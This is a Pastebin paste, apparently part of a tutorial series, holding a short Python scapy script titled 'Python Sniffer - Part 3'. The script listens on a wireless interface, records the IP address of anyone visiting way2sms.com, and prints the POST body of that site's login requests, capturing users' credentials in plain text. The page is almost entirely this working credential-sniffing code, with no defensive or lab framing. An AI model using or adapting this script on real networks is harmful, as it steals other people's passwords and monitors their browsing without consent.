yeahhub

Python Sniffer - Part 3

Jul 1st, 2018
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.69 KB | None | 0 0
  1. from scapy.all import *
  2. import re
  3.  
  4. conf.iface="wlan0"
  5. def sniffData(pkt):
  6.     if pkt.haslayer( Raw ):   # Check for the Data layer
  7.         header = pkt.getlayer( Raw ).load    # Get the sent data
  8.         if header.startswith('GET') or header.startswith('POST'):     # Make sure it's a request
  9.             if 'way2sms.com' in header:
  10.                 src = pkt.getlayer(IP).src
  11.                 print "%s visited the site: %s" % (src, 'way2sms.com')
  12.                 if header.startswith('POST'):
  13.                     if 'Login1.action' in header:
  14.                         data = header.split('\r\n\r\n')[1]
  15.                         print "[%s] POST data Captured: %s" % (src, data)
  16. sniff(prn=sniffData)
Add Comment
Please, Sign In to add comment